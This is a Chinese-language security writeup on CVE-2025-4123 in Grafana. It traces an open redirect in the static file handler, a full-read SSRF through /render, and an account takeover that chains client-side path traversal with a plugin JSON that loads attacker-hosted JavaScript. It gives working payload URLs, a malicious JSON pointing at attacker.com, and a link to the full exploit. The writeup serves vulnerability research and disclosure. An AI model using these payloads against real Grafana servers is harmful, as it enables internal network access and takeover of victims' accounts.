CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

admin 2025年6月5日16:41:34评论34 views字数 6819阅读22分43秒阅读模式

扫码领资料

获网安教程

CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析
CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

Track安全社区投稿~  

赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

摘要

开放重定向是指当一个网页应用程序接收一个URL参数并将用户重定向到该指定URL时,未对其进行验证的情况。

/redirect?url=https://evil.com` --> (302 Redirect) --> `https://evil.com

这本身看起来可能并不危险,但这种类型的漏洞成为发现两个独立漏洞的起点:一个完整读取的SSRF和一次账户接管。在这篇文章中,我将逐步讲解我是如何发现它们的整个过程。

为什么选择Grafana?

Grafana是一个开源的分析平台,主要使用Go和TypeScript编写,用于可视化来自Prometheus和InfluxDB等数据源的数据。我认为在这个Web应用中发现漏洞是一个不错的挑战,所以我下载了源代码并开始调试——尽管这是我第一次接触Go语言。我决定专注于应用中未认证的部分。

切入点:开放重定向

我查看了api/api.go中定义的所有未认证端点。

...// not logged in viewsr.Get("/logout", hs.Logout)r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)r.Get("/login", hs.LoginView)r.Get("", hs.Index)// authed viewsr.Get("/", reqSignedIn, hs.Index)r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)...

功能分析

我甚至进一步深入研究了整个应用中使用的中间件。就在那时,我发现了一个负责处理静态路由的函数——它引起了我的注意。

func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {    if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {  return false } file := ctx.Req.URL.Path for _, p := range opt.Exclude {  if file == p {   return false  } } // if we have a prefix, filter requests by stripping the prefix if opt.Prefix != "" {  if !strings.HasPrefix(file, opt.Prefix) {   return false  }  file = file[len(opt.Prefix):]  if file != "" && file[0] != '/' {   return false  } } f, err := opt.FileSystem.Open(file) if err != nil {  return false }   ..............}

该函数用于根据用户输入从系统中读取文件。很自然,我的第一个想法是尝试使用路径遍历技术(如 ../ 或类似的技巧)来加载任意文件。

我会向你解释整个代码的执行流程以及所做的所有输入清理(理解这个漏洞的关键)。

CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

因此,如果你请求 /public/file/../../../name,路径会被清理,并解析为 /staticfiles/etc/etc/name,从而有效阻止访问目标目录之外的非预期文件。

此外,如果解析后的最终路径指向一个文件夹,StaticHandler 函数会检查该文件夹内是否存在默认文件 —— 通常会从该目录中返回 /index.html

if fi.IsDir() {    // Redirect if missing trailing slash.    if !strings.HasSuffix(ctx.Req.URL.Path, "/") {        path := fmt.Sprintf("%s/", ctx.Req.URL.Path)        if !strings.HasPrefix(path, "/") {            // Disambiguate that it's a path relative to this server            path = fmt.Sprintf("/%s", path)        } else {            // A string starting with // or / is interpreted by browsers as a URL, and not a server relative path            rePrefix := regexp.MustCompile(`^(?:/\|/+)`)            path = rePrefix.ReplaceAllString(path, "/")        }        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)        return true    }    file = path.Join(file, opt.IndexFile)    indexFile, err := opt.FileSystem.Open(file)    ....}

如你所见,如果最终的文件是一个目录,并且所提供的路径(如 /public/build)未以 / 结尾,服务器会重定向到同一路径并在末尾添加一个 /

GET /public/build HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /public/build/

这种重定向行为正是开放重定向漏洞发生的地方,接下来我们就深入分析这一点。

目标

在我的场景中,应用程序会根据所提供的路径进行重定向,因此最终的重定向URL始终以 / 开头。我的目标是构造一个路径,当被请求时会重定向到一个合法的、以 / 开头的完整URL,例如:

  • • //attacker.com/... --> // 表示协议相对URL,会使用当前页面的协议(如 HTTPS)
  • • /attacker.com/... --> / 同样具有相同效果

问题与解决方案

有效目录

为了触发重定向功能,我需要一个以 /public/ 开头的路径,并且在传递给 opt.FileSystem.Open(file) 时能够解析为一个有效的目录。

我从 /public/attacker.com/../.. 开始尝试,这条路径会被解析为一个空字符串 "",然后被附加到 /staticfiles/etc/etc/,从而触发 if fi.isDir(){} 的代码逻辑。

/public/attacker.com/../.. -->

/attacker.com/../.. --> "" -->

/staticfiles/etc/etc/`+`""` --> `fi.isDir() TRUE

现在,我已经找到了注入任意payload的方法,使其能够被 opt.FileSystem.Open(file) 解析为一个文件夹:/public/{}/../../..

不一致性

一旦进入 isDir() 部分,路径 /public/attacker.com/../.. 会到达 http.Redirect() 函数。问题在于该函数同样会解析路径,导致重定向路径最终变成 /

if fi.IsDir() {    ...        //path is "/public/attacker.com/../.." but the final redirect is "/"        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)        return true    ...}

如果我请求 /public/attacker.com/../..

GET /public/attacker.com/../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /

所以,基本上,我需要构造一个路径,使得在加载文件时 /../../.. 被 opt.FileSystem.Open(file) 解析,但在执行重定向时,http.Redirect() 不对其进行解析。

该路径在两种情况下的解析方式不同。

  • • opt.FileSystem.Open(file) 期望的是系统文件路径
  • • http.Redirect(path) 期望的是URL路径

问题即答案*?*

  • • opt.FileSystem.Open(file) 将 ? 视为普通字符。
  • • http.Redirect(path) 将 ? 解释为URL参数的开始。

这意味着 /public/attacker.com/?/../../../.. 会被处理为:

在 opt.FileSystem.Open() 中 — >

  • • /public/attacker.com/?/../../../.. 解析为 ""/staticfiles/etc/etc/ + "" 是一个有效的文件夹。

在 http.Redirect() 中 →

  • • /public/attacker.com/?/../../../.. --> ? 后面的内容被视为查询字符串,不作为路径解析。

带 ? 的请求 -> %3f

GET /public/attacker.com/%3f/../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /public/attacker.com/?/../../

最终payload

URL /public/attacker.com/?/../../../.. 需要被解析成一个以 / 开头的完整URL。我简单地使用了这个路径:/public/../attacker.com/?/../../../..

当 http.Redirect() 解析路径时,会移除 /public 部分。

请求:

GET /public/../attacker.com/%3f/../../../../../.. HTTP/1.1Host: 192.168.100.2:3000HTTP/1.1 302 FoundLocation: /attacker.com/?/../../../../../../

摘要图解

CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

完整读取 SSRF

该开放重定向本身没有严重的安全影响,因此我需要将其与其他功能链式利用。

Grafana 有一个名为 /render 的端点,用于根据提供的路径生成图片。

// renderingr.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

该端点使用无头浏览器渲染用户指定路径的HTML,它只接受相对URL路径 /route,不允许渲染来自绝对URL https://... 的内容。

但如果我利用发现的开放重定向来重定向到内部服务怎么办?首先,我尝试通过 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f.. 加载 google.es

CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

然后我搭建了一个外部无法访问的内部服务,并尝试通过 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f.. 加载 127.0.0.1:1234

CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

通过该漏洞,我能够完整读取内部服务。由于渲染使用了浏览器,我甚至可以通过构造一个指向内部服务的表单来发送 POST 请求。

Grafana 在 Intigriti 上的公开漏洞计划未将 /render 端点纳入范围,因为该端点默认未启用。此外,该漏洞需要登录才能利用,所以我无法从中获益。

通过 XSS 实现账号接管

这可能是我利用过的最棒的漏洞链,成功实现了 XSS 和账号接管。

客户端路径遍历

Grafana 大量客户端代码允许客户端路径遍历。例如,当你在浏览器加载 /invite/1 时,JavaScript 会请求 /api/user/invite/1 来获取邀请信息。

但是,如果你加载 /invite/..%2f..%2f..%2f..%2froute,JavaScript 会解析路径遍历,最终加载 /route

CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

这就创造了一个完美的场景,可以强制 JavaScript 加载开放重定向,从而从我的服务器获取特制的 JSON。

但首先,我需要找到一个以不安全方式加载内容的端点,并利用它执行 JavaScript。

加载恶意 JavaScript 文件

你可以使用 /a/plugin-app/explore 来加载和管理插件应用。该功能的 JavaScript 会从 URL 中提取插件应用名称,并用它请求 /api/plugins/plugin-app/settings 来获取插件信息。

/api/plugins/plugin-app/settings 文件内容如下。

{    "name": "plugin-app",    "type": "app",    "id": "plugin-app",    "enabled": true,    "pinned": true,    "autoEnabled": true,    "module": "/modules/..../plugin-app.js", //js file to load    "baseUrl": "public/plugins/grafana-lokiexplore-app",    "info": {        "author": {            "name": "Grafana"            ...        }    }    ...}

/a/plugin-app/explore 会加载该文件,并执行 "module" 参数中提供的 JavaScript。

/a/plugin-app/explore 存在客户端路径遍历漏洞,允许我加载服务器上的任意路由,而不是 /api/plugin-app/settings

这使我能够加载开放重定向,进而获取包含任意 JavaScript 文件的恶意 JSON。

所以基本上,我搭建了自己的服务器,放置所有必要的 JS 和 JSON 文件。我只需要托管如下格式的 JSON:

{    "name": "ExploitPluginReq",    "type": "app",    "id": "grafana-lokiexplore-app",    "enabled": true,    "pinned": true,    "autoEnabled": true,    "module": "http://attacker.com/file?js=file", //malicious js file    "baseUrl": "public/plugins/grafana-lokiexplore-app",    "info": {        "author": {...}    }    ...}

然后加载这个路径,/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore,利用了客户端路径遍历和开放重定向漏洞。

结果是:

CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

我的恶意 JavaScript 文件被执行,使我能够更改受害者的邮箱并重置他们的密码。

摘要图解

CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

完整漏洞利用:

https://github.com/NightBloodz/CVE-2025-4123

我一直认为 Grafana 是一个几乎无法攻破的目标。它看起来非常复杂且安全——公平地说,确实如此。

但发现这个漏洞证明了,无论一个应用看起来多么安全,它总是存在漏洞,或者最终会出现漏洞。

我无法通过向多个漏洞赏金计划报告来进一步升级该漏洞,因为两个利用路径都需要身份认证。

CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析

参考链接:https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53

获取更多精彩内容,尽在Track安全社区~:https://bbs.zkaq.cn

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):CVE-2025–4123 | Grafana SSRF和账户接管漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月5日16:41:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-4123 | Grafana SSRF和账户接管漏洞分析https://cn-sec.com/archives/4136158.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息